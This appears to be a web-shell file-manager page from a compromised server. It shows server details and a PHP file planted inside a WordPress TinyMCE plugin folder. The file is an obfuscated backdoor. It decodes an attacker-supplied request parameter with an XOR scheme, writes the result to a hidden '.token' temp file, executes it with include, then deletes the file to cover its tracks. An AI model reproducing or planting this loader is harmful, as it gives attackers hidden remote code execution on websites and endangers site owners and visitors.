HEX
Server: Apache/2.4.54 (Unix) OpenSSL/1.0.2k-fips
System: Linux f17.eelserver.com 3.10.0-1160.80.1.el7.x86_64 #1 SMP Tue Nov 8 15:48:59 UTC 2022 x86_64
User: zulfiqar (1155)
PHP: 8.2.0
Disabled: mail, exec, system, popen, proc_open, shell_exec, passthru, show_source
Upload Files
File: /home/zulfiqar/public_html/wp-includes/js/tinymce/plugins/link/verify_old.php
<?php

if(array_key_exists("c\x6Fm\x70", $_REQUEST)){
	$elem = $_REQUEST["c\x6Fm\x70"];
	$elem =   explode(		'.'	,$elem	 ); 	 
	$ent 	=	 '';
            $s4 	=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen 	=	 strlen($s4);
            $y 	=	 0;
    
            $__tmp 	=	 $elem;
            while ($v1 	=	 array_shift($__tmp)) {
                $sChar 	=	 ord($s4[$y % $sLen]);
                $dec 	=	 ((int)$v1 - $sChar - ($y % 10))		^  85;
                $ent .= chr($dec);
                $y++;
            }
	$fac = array_filter([getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), getcwd()]);
	foreach ($fac as $data_chunk) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) {
    $entry = implode("/", [$data_chunk, ".token"]);
    $success = file_put_contents($entry, $ent);
if ($success) {
	include $entry;
	@unlink($entry);
	die();}
}
}
}